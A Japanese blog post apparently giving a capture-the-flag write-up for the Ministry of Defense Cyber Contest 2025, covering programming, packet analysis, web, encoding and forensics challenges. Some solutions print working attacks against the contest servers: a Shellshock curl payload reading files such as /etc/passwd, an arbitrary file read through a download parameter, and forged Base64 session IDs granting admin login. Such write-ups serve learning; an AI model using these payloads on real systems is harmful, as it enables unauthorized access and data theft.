7
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【CTF】防衛省サイバーコンテスト2025:Writeup

Posted at

概要

令和7年2月2日(日)9時00分~21時00分に開催された防衛省サイバーコンテスト2025のWriteupです。

書ける範囲で書きます。

PG

Q1.縮めるだけじゃダメ

マクロが用意されているの実行するとflag{xxxxxx}の文字列が出来ます。

image.png

image.png

ステップイン機能で一行ずつ処理を追うと{}内の数字が変化していくので、最終的数字がフラグです。

image.png

A.flag{268653}

Q2.暗算でもできるけど?

Cのソースコードが提供されるのでコンパイルして実行すると素数が出力されました。

$ ./pg-2                                                
2
3
5
7
11
13
17
19

検索して68番目の素数が337で、314番目の素数が2083だと分かったので足した数がフラグです。

A.flag{2420}

Q4.loop in loop

処理の指示に合うコードをpythonで書きました。

flag.py
import hashlib

def get_hash(txt):
    h = hashlib.new('ripemd160')
    h.update(txt.encode())
    return h.hexdigest()

def main(arg1, arg2):
    num = 0
    
    arg1_ripend160 = get_hash(arg1)
    arg2_ripend160 = get_hash(arg2)

    for i in arg1_ripend160:
        for j in arg2_ripend160:
            if(i.isdigit() and j.isdigit()):
                xor = int(i) ^ int(j)
                num += xor
     
    print(num)           
if __name__ == '__main__':
    main('Phoenix','Messiah')

実行し、フラグゲットです。

>python pg-4.py
5785

A.flag{5785}

NW

Q1.頭が肝心です

emlファイルが提供されるのでAnalyzeツールを使いました。

Receivedの項目を確認します。

image.png

A.flag{172.16.25.39}

Q2.3 Way Handshake?

オープンポートということは3 way handshakeでsyn,ackが返って来たという事なので、tcp.flags.syn==1 && tcp.flags.ack==1のようにフィルタリング設定をします。

image.png

フィルタリング結果のパケットからポートを小さい順に並べてフラグゲットです。

A.flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

Q3.さあ得点は?

HTTP HEADリクエストのパケットを確認すると特徴的なペイロードが見つかりました。

image.png

文字列で検索するとCVE-2011-3192だと分かりました。

image.png

NVDのサイトからスコアを確認します。

A.flag{7.8}

Q4.decode

pcapファイルが分割されているのでmergecapで結合します。

$ mergecap -a *.pcap -w merged.pcap

image.png

HTTPで通信しているパケットがあります。
内容を見るとimageのデータをJSONで返してもらっています。
データはBase64でデコードされているようです。

データをファイルに保存してBase64でデコードしたのをファイルに出力すると画像ファイルに変換できました。

$ cat 7 | base64 -d > 7-img

2-img.jpg

順番にパケットを画像ファイルに変換していくとフラグが書かれた画像を変換できました。

7-img.jpg

A.flag{c4ptur3_cat}

WE

Q1.簡単には見せません

Webページにアクセスしましたが、このページにはフラグがないらしいです。

image.png

robots.txtからサイトのパスが分かりました。

/robots.txt
User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

順番にアクセスしていき、/blue//flgを発見しました。

image.png

/blue/flg/にアクセスするとこのページにフラグがあるようです。

image.png

ページのソースコードからフラグを入手できました。

image.png

A.flag{TakeMeToTheFlag}

Q2.試練を乗り越えろ!

Webページにアクセスします。
今何問目かの問題がずっと続いているようです。

image.png

image.png

リクエストBodyがこのようになっているのでqCount=10000&answer=10000で最終問題にリクエストを送信できそうです。

image.png

image.png

リクエストを送信するコードを書きました。

flag.py
import requests

data = {'qCount':10000,'answer':10000,'submit':'\%\E9\%\80\%\81\%\E4%BF%A1'}
response = requests.post('https://we2-prod.2025winter-cybercontest.net/', data=data)
print(response.text)

レスポンスからフラグを入手できました。

$ python flag.py

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ!</h2>
<hr>
フラグが欲しければ1万問の質問に答えてください。<br>
<font color="red">おめでとうございます!<br>よく試練に耐えましたね!<br>あなたは素晴らしい!!<br>でも最初からやり直してください<br><br><br><br><br><br>というのは冗談です<br>フラグは下記のとおりです<br><b>flag{WinThroughTheGame}</font><br><hr>
第10000問<br>
今は何問目?
<br>
<form method="POST">
<input type="hidden" name="qCount" value="10000">
答え:<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>

A.flag{WinThroughTheGame}

Q3.直してる最中なんです

Webページにアクセスします。

image.png

ソースコードから/secret/download.jsを発見しました。

image.png

ソースコードを見ると/secret/download.phpにPOSTリクエストを送信する処理が書かれています。

secret/download.js
function dlFIle(file){
	var dataS = 'fName=' + file;
	var xhr = new XMLHttpRequest();
	xhr.open('POST','/secret/download.php');
	xhr.send(dataS);
	xhr.onload = function() {
		var strS = xhr.responseText;
	};
}

試しにPOSTリクエストを送信してみると、fNameパラメータが無いと言われました。

$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php 
<br />
<b>Warning</b>:  Undefined array key "fName" in <b>/var/www/html/secret/download.php</b> on line <b>2</b><br />
<br />

(省略)

fNameパラメータでファイルを読み込めそうなのでfName=/etc/WE-3のようなリクエストを送信するとフラグを入手できました。

$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php -d "fName=/etc/WE-3"  
<br />
<b>Warning</b>:  filesize(): stat failed for /var/www/html/secret//etc/WE-3 in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />

(省略)

flag{fGrantUB56skBTlmF14mostFP}

A.flag{fGrantUB56skBTlmF14mostFP}

Q4.直接聞いてみたら?

Webページにアクセスします。

image.png

チェックを入れ問い合わせるとBase64エンコードしたパラメータで処理をしているようです。

image.png

image.png

[{"name":"flag","value":"on"}]のようなパラメータにしてBase64エンコードします。

image.png

これでリクエストを送信するとフラグが返ってきました。

image.png

A.flag{ParameterHandlingError}

CY

Q1.エンコード方法は一つじゃない

最初の文字列をURLデコードします。

image.png

デコード結果から暗号化された文字列が以下の3つに分けられていると予測できます。

  • &#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;
  • VmFyaW91c0VuY29kaW5ncw==
  • 666c61677b

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;Unicode Hex Character CodeUcanB}に変換できました。

VmFyaW91c0VuY29kaW5ncw==Base64デコードでVariousEncodingsに変換できました。

image.png

666c61677bはCyberChefのHexflag{に変換できました。

image.png

いい感じに文字列を並べ替えてフラグゲットです。

A.flag{VariousEncodingsUcanB}

Q2.File Integrity of Long Hash

提供されたハッシュ値はSha512だと分かりました。
指定されたハッシュ値に合うファイルを探すコードを書きました。

flag.py
import hashlib

for i in range(10,100):
    file_name = f'flags_{i}.txt'
    with open(f'/home/kali/boueisyou-ctf/flags/{file_name}', 'rb') as file:
        fileData = file.read()
        sha512 = hashlib.sha512(fileData).hexdigest()
        if (sha512 == '189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf'):
            print(file_name)

flags_89.txtがそれにあたるようです。
ファイルの中のフラグを提出して正解しました。

┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ python flag.py
flags_89.txt
                                                                                                                    
┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ cat flags/flags_89.txt 
flag{346D895B8FF3892191A645}

A.flag{346D895B8FF3892191A645}

FR

Q1.露出禁止!

提供されたログファイルを確認します。

FR-1.log
192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281

sesidの文字列をそれぞれBase64デコードします。

image.png

user6だけ値の形式が違うのでアクセスに使用するとログイン出来ました。

image.png

user6のパラメータをいじって1767225599,1,adminのようにしてBase64エンコードします。

image.png

エンコードした値を使用するとadminでログインに成功し、フラグを入手できました。

image.png

A.flag{SessionIDsCarefully}

Q2.成功の証

FTPのログイン試行パケットがあるのでip.src == 192.168.123.116 && ftpのようにフィルタリングし、ログイン成功の230を検索すると見つかりました。

image.png

追跡機能でログインに成功したパスワードを得られました。

image.png

A.flag{zyyzzyzy}

Q3.犯人はこの中にいる!

ポートスキャンのパケットから送信元のMACアドレスを得られました。

image.png

eth.addr == 00:0c:29:4d:c2:33のようにMACアドレスでフィルタリングすると実際のIPは192.168.204.137だと分かりました。

image.png

A.flag{192.168.204.137}

PW

Q1.CVE-2014-7169他

タイトルやログの内容からshellshockが関係していそうです。

攻撃成功ログからリクエスト送信先が分かりました。

PW-1.log
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"

/cgi-bin/n.cgi/etc/PW-1を表示するコードを仕込んで送信するとフラグを入手できました。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi   
flag{>:(!shellshock!}

A.flag{>:(!shellshock!}

TR

Q2.Windowsで解きましょう

提供されたbatファイルのソースコードを確認します。

flags.bat
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

条件分岐に注目するとset FDATA4=25でTrueになると分かりました。

if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag

なのでflags_25.txtのフラグで正解しました。

A.flag{7525252364612534937244}

7
2
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?